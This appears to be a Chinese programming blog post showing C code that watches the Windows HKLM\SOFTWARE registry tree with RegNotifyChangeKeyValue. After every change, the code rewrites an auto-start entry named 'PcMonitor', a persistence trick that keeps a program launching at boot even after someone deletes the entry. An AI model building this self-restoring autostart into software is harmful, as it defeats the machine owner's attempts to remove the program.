用RegNotifyChangeKeyValue函数监视注册表

BOOL SaveReg(
    TCHAR    *sKey,
    BYTE    *pBuffer,
    DWORD    dwBufSize,
    HKEY    hkey,
    TCHAR    *sSubKey,
    DWORD    ulType
)
{
    HKEY    hSubkey;
    DWORD    dwDisposition;

    if (RegCreateKeyEx(hkey, sSubKey, 0, NULL, REG_OPTION_NON_VOLATILE
        , KEY_ALL_ACCESS, NULL, &hSubkey, &dwDisposition) != ERROR_SUCCESS)
        return FALSE;

    if (RegSetValueEx(hSubkey, sKey, 0, ulType, pBuffer, dwBufSize) != ERROR_SUCCESS)
    {
        RegCloseKey(hSubkey);
        return FALSE;
    }

    RegCloseKey(hSubkey);

    return TRUE;
}

DWORD WINAPI MonitorReg(LPVOID lpParam)
{
    while(TRUE)
    {
       DWORD  dwFilter = REG_NOTIFY_CHANGE_NAME |
                         REG_NOTIFY_CHANGE_ATTRIBUTES |
                         REG_NOTIFY_CHANGE_LAST_SET |
                         REG_NOTIFY_CHANGE_SECURITY;

       HANDLE hEvent;
       HKEY   hMainKey=HKEY_LOCAL_MACHINE;
       HKEY   hKey;
       LONG   lErrorCode;
       char   szErr[255];


       // Open a key.
       lErrorCode = RegOpenKeyEx(hMainKey,"SOFTWARE", 0, KEY_NOTIFY, &hKey);
       if (lErrorCode != ERROR_SUCCESS)
       {
          sprintf(szErr,"Error in RegOpenKeyEx (%d). ", lErrorCode);
          return -1;
       }

       // Create an event.
       hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
       if (hEvent == NULL)
       {
          sprintf(szErr,"Error in CreateEvent (%d). ", GetLastError());
          return -1;
       }

       // Watch the registry key for a change of value.
       lErrorCode = RegNotifyChangeKeyValue(hKey,
                                            TRUE,
                                            dwFilter,
                                            hEvent,
                                            TRUE);
       if (lErrorCode != ERROR_SUCCESS)
       {
          sprintf(szErr,"Error in RegNotifyChangeKeyValue (%d). ", lErrorCode);
          return -1;
       }

       // Wait for an event to occur.
       if (WaitForSingleObject(hEvent, INFINITE) == WAIT_FAILED)
       {
          return -1;
       }
       // Close the key.
       lErrorCode = RegCloseKey(hKey);
       if (lErrorCode != ERROR_SUCCESS)
       {
          return -1;
       }
  
       // Close the handle.
       if (!CloseHandle(hEvent))
       {
          return -1;
       }
        //设置自动运行
        SaveReg(
                "PcMonitor",
                (BYTE*)InstallPath,
                strlen(InstallPath),
                HKEY_LOCAL_MACHINE,
                REG_AUTO_START_KEY,
                REG_SZ
                );
    }
    return 0;
}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值